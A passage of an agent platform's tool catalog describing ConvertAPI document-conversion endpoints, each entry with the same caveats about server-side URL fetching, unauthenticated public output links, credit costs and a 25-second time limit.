the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/ods/to/pdf. Scopes: api. convertapi_post_convert_ods_to_png (write) — ODS to PNG Conversion API via POST /convert/ods/to/png. Convert ODS spreadsheets to PNG images for web, applications, and archival. Open password-protected files when needed and control output using image resolution (DPI), scaling with explicit width/height, and background color to match UI constraints. Ideal for generating thumbnails, previews, and page snapshots from sheets, tables, and charts in automated pipelines with predictable, lossless results across varied inputs. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/ods/to/png. Scopes: api. convertapi_post_convert_odt_to_docx (write) — ODT to DOCX Conversion API via POST /convert/odt/to/docx. Convert OpenDocument Text (ODT) files to Microsoft Word DOCX format for seamless collaboration with MS Office users. Supports password-protected files and updates table of contents and cross-references. Ideal for migrating from open-source office suites to Microsoft Office and ensuring document compatibility across platforms. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/odt/to/docx. Scopes: api. convertapi_post_convert_odt_to_jpg (write) — ODT to JPG Conversion API via POST /convert/odt/to/jpg. Convert ODT documents to JPG images for web, apps, and archival. Open password-protected files when needed and control output using image resolution (DPI), scaling with explicit width/height, and JPEG quality to balance fidelity and file size. Ideal for generating thumbnails, previews, and page snapshots in automated pipelines with predictable results across varied inputs. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/odt/to/jpg. Scopes: api. convertapi_post_convert_odt_to_pdf (write) — ODT to PDF Conversion API via POST /convert/odt/to/pdf. Convert ODT documents to PDF while preserving layout, text formatting, images, and tables. Open password-protected files when required and optionally produce PDF/A compliant output for records retention and regulatory workflows. Use this API to standardize deliverables for review, print, and distribution across platforms without relying on desktop tools. Designed for automation and batch processing, it delivers predictable, high-quality results suitable for archives and document pipelines. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/odt/to/pdf. Scopes: api. convertapi_post_convert_odt_to_png (write) — ODT to PNG Conversion API via POST /convert/odt/to/png. Convert ODT documents to PNG images for web, applications, and archival. Open password-protected files when needed and control output using image resolution (DPI), scaling with explicit width/height, and background color to match UI constraints. Ideal for generating thumbnails, previews, and page snapshots in automated pipelines with predictable, lossless results across varied inputs. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/odt/to/png. Scopes: api. convertapi_post_convert_odt_to_txt (write) — ODT to TXT Conversion API via POST /convert/odt/to/txt. Extract UTF-8 plain text from OpenDocument Text (ODT) files. Supports password-protected inputs, configurable line breaks, custom end-of-line characters, save formats, and character substitutions. Ideal for search indexing, ETL pipelines, and content processing. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/odt/to/txt. Scopes: api. convertapi_post_convert_odt_to_xml (write) — ODT to XML Conversion API via POST /convert/odt/to/xml. Convert OpenDocument Text (ODT) files to structured XML. Choose the XML output type as needed and optionally update table of contents and references for consistent downstream processing. Ideal for ETL and content pipelines. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/odt/to/xml. Scopes: api. convertapi_post_convert_office_to_pdf (write) — Convert Microsoft Office to PDF API via POST /convert/office/to/pdf. Our Microsoft Office to PDF API converts Word, Excel, and PowerPoint files into pixel-perfect PDFs through a single endpoint, with no Microsoft Office license or installation required. It accepts the full Office range, including modern and legacy formats such as docx, doc, rtf, xlsx, xls, csv, pptx, and ppt, and reproduces your original fonts, images, tables, charts, and page layout exactly. Open password-protected documents and generate PDF/A output for long-term archiving and compliance. Files are processed on our SOC2-, ISO 27001-, HIPAA-, and GDPR-compliant infrastructure, and you can keep everything in memory or use secure temporary storage that deletes automatically. From automated... The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/office/to/pdf. Scopes: api. convertapi_post_convert_pages_to_docx (write) — Pages to Word API via POST /convert/pages/to/docx. Convert Apple iWork Pages files to Microsoft Word DOCX. Preserves layout, text, images, and styles. Ideal for cross-platform editing and sharing. No Mac required. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pages/to/docx. Scopes: api. convertapi_post_convert_pages_to_txt (write) — Pages to TXT API via POST /convert/pages/to/txt. Convert Apple iWork Pages files to plain text (TXT). Extracts text content while stripping formatting. Ideal for content analysis and indexing. No Mac required. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pages/to/txt. Scopes: api. convertapi_post_convert_pdf_to_compress (write) — Efficient PDF Compression API via POST /convert/pdf/to/compress. The Compress PDF API by ConvertAPI is a tool that allows for the compression and reduction of PDF file sizes by up to 90%. This API optimizes PDF quality by compressing text, graphics, images, subsetting fonts, and optimizing document structure. It offers various parameters for customization, including compression presets, color and grayscale image compression, and options to remove elements like bookmarks, annotations, forms, and embedded files from the PDF. The API also provides options for optimizing the PDF for web viewing and preserving the PDF/A standard. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/compress. Scopes: api. convertapi_post_convert_pdf_to_crop (write) — Crop PDF API via POST /convert/pdf/to/crop. The Crop PDF API lets you precisely trim PDF pages. Choose automatic content detection with optional padding, crop by exact width/height anchored to a page corner or center, or crop by setting horizontal/vertical margins. Combine with page ranges and measurement units (points, inches, millimeters, centimeters). The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/crop. Scopes: api. convertapi_post_convert_pdf_to_csv (write) — PDF to CSV API via POST /convert/pdf/to/csv. Extract tables from textual and scanned PDF documents to comma-separated values CSV files. The API identifies bordered and border-less tabular structures within pdf documents and extracts these tables to a list of CSV formatted files. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/csv. Scopes: api. convertapi_post_convert_pdf_to_delete_pages (write) — Delete PDF Pages API via POST /convert/pdf/to/delete-pages. Remove unwanted pages from PDF documents with precise control over scope and behavior. Provide a page list or ranges to delete (for example, 1,3-5,10) and optionally remove blank pages automatically to tidy scans. Open password-protected PDFs when required and limit changes to a specific range to protect other content. Designed for automation, the API processes single files or batches consistently, producing clean, focused PDFs for distribution, review, and archival. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/delete-pages. Scopes: api. convertapi_post_convert_pdf_to_docx (write) — PDF to DOCX Conversion API via POST /convert/pdf/to/docx. Effortlessly Convert PDFs to MS Word DOCX with the PDF to Word API. Our API offers robust features such as layout preservation, formatting retention, table handling, and OCR-powered text extraction from scanned PDFs. Experience the convenience of a clean, user-friendly Word document. What sets us apart is our RESTful API design, ensuring seamless integration into your applications or websites. Just make a simple PDF to DOCX API call, and watch your PDFs transform into editable Word documents quickly and efficiently. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/docx. Scopes: api. convertapi_post_convert_pdf_to_extract (write) — Extract Data from Documents with AI via POST /convert/pdf/to/extract. Automatically extract key information from invoices, receipts, forms, and other documents. Whether you're automating business workflows, simplifying data entry, or streamlining document processing, our AI-powered text extraction tool offers accurate, fast, and user-friendly data extraction solutions. Start transforming your documents into structured data today with our reliable Data Extraction API. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/extract. Scopes: api. convertapi_post_convert_pdf_to_extract_attachments (write) — Extract PDF Attachments API via POST /convert/pdf/to/extract-attachments. Utilize our Extract PDF Attachments API to retrieve and save embedded files from PDF documents in their original formats. This API allows you to access attachments such as Office documents, images, archives, e-invoices or any other files embedded within a PDF, preserving their original structure and quality. Ideal for professionals working with complex PDF documents containing supplementary files, our API provides a reliable and efficient solution for managing embedded content and streamlining document workflows. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/extract-attachments. Scopes: api. convertapi_post_convert_pdf_to_extract_images (write) — Extract PDF Images API via POST /convert/pdf/to/extract-images. Utilize our Extract PDF Images API to effortlessly find and save images from PDF files into popular formats like PNG, JPG, or TIFF. This API allows you to customize your outputs, including selecting specific page ranges and adjusting the resolution to suit your project's requirements. Ideal for professionals needing high-quality image extraction from documents, our API provides a reliable and efficient solution for managing digital content. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/extract-images. Scopes: api. convertapi_post_convert_pdf_to_fdf_extract (write) — Extract PDF Forms to FDF API via POST /convert/pdf/to/fdf-extract. Extract interactive form data from PDF into FDF, a lightweight, standardized format for exchanging PDF form values. Open password-protected PDFs when required, and optionally include alternate field names to improve downstream mapping and interoperability. The resulting FDF file contains structured key-value pairs that are easy to integrate with databases, workflow systems, or validation tools. Ideal for ingestion pipelines, e-forms processing, and cross-platform exchange where compact, portable form data is needed. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/fdf-extract. Scopes: api. convertapi_post_convert_pdf_to_fdf_import (write) — FDF to PDF API via POST /convert/pdf/to/fdf-import. Import FDF (Forms Data Format) into PDF documents that contain corresponding interactive form fields. Field values are mapped by name and written into the appropriate PDF form fields to produce an updated, ready-to-use document. Handle password-protected PDFs when required and validate that the form structure matches the FDF schema before applying changes. Designed for automation, the API delivers predictable results for e-forms processing, records management, and downstream approval workflows. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/fdf-import. Scopes: api. convertapi_post_convert_pdf_to_flatten (write) — Flatten PDF API: Flatten Form Fields and Entire Document via POST /convert/pdf/to/flatten. Flatten PDF API is a tool that secures PDF documents by locking interactive elements and preserving their visual layout. It ensures form fields and annotations cannot be modified, while offering the ability to protect text from selection, copying, and extraction by converting it into vector paths. This makes the PDF fully read-only without compromising its original quality. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/flatten. Scopes: api. convertapi_post_convert_pdf_to_html (write) — PDF to HTML Conversion API via POST /convert/pdf/to/html. Easily convert PDFs to HTML using our PDF to HTML API. Enhance accessibility and user interaction by seamlessly transforming PDF content. Our conversion process preserves text, images, and formatting, ensuring accuracy. Experience fast and efficient conversions that save you time and resources. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/html. Scopes: api. convertapi_post_convert_pdf_to_image_watermark (write) — Image Watermark PDF API via POST /convert/pdf/to/image-watermark. Apply image-based watermarks to PDF documents for branding, copyright protection, or visual identification. Upload an image file and place it as a watermark on each page with precise control over size, opacity, rotation, and position. Target specific pages or page ranges, choose a watermark style (foreground or background), and optionally add interactive actions such as external links or internal page navigation. The watermark respects page rotation and scaling, ensuring consistent placement across documents in automated and batch workflows. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/image-watermark. Scopes: api. convertapi_post_convert_pdf_to_jpg (write) — PDF to JPG Conversion API via POST /convert/pdf/to/jpg. Convert PDF documents to high-quality JPG images for web, apps, and archival. Handle password-protected files, restrict processing to specific page ranges, rotate pages to correct orientation, and crop to a target box when needed. Control output with image resolution (DPI), scaling via explicit width/height, color-space selection for consistent rendering, and JPEG quality to balance fidelity and file size. Generate thumbnails or full-resolution images in batch with predictable results across varied inputs and workflows. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/jpg. Scopes: api. convertapi_post_convert_pdf_to_json (write) — PDF to JSON API via POST /convert/pdf/to/json. Convert PDF documents into clean, structured JSON built for large language models, retrieval-augmented generation, and automated data pipelines. Every page is decomposed into typed elements - paragraphs, tables, images, and graphics - each carrying its text, reading order, and precise bounding box. Tables are reconstructed into rows and cells so tabular data stays machine-readable for downstream use. Handle password-protected files, target page ranges, and apply OCR to scanned documents so even image-based PDFs yield searchable, structured output for indexing, analytics, and AI ingestion. Structure goes beyond raw text. Paragraphs that look like headings carry a headingLevel field, giving... The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pdf/to/json. Scopes: api. convertapi_post_convert_pdf_to_md (write) — PDF to Markdown REST API for Developers via POST /convert/pdf/to/md. ConvertAPI's 